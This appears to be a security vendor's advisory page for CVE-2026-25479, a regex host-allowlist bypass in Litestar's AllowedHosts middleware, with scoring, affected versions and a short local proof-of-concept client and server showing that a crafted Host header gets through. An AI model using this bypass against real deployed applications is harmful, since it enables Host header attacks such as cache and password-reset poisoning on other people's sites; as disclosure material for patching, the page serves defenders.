Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-25479 — litestar

🟡 CVSS 6.5 — Medium ⚠️ Exploit Public CWE-185 OSV
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

```

from litestar import Litestar, get

from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")

async def index() -> str:

return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])

app = Litestar([index], allowed_hosts_config=config)

```

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

```

import http.client

def req(host_header: str) -> tuple[int, bytes]:

c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)

c.request("GET", "/", headers={"Host": host_header})

r = c.getresponse()

body = r.read()

c.close()

return r.status, body

print("evil.com:", *req("evil.com"))

print("exampleXcom:", *req("exampleXcom"))

```

Expected (vulnerable behavior):

Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist)

Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-25479 is classified as CWE-185: Incorrect Regular Expression. The product specifies a regular expression in a way that causes data to be improperly matched or compared.

Affected software

CVE-2026-25479 is recorded against 1 package.

  • litestar (from 2.19.0 up to 2.20.0)

Timeline and source

Published on 9 February 2026 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
docs.litestar.dev (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

litestar has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-185: Incorrect Regular Expression) in other software:

Details

Severity MEDIUM
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CWE CWE-185
Public Exploit ⚠️ Yes
Source OSV
Published 2026-02-09
Updated 2026-08-20
Modified 2026-07-13

Affected Packages

Software From version Fixed in
litestar 2.19.0 2.20.0

Similar Threats

Exploit Protection

Are you running litestar?

CVE-2026-25479 carries CVSS 6.5 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-25479 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026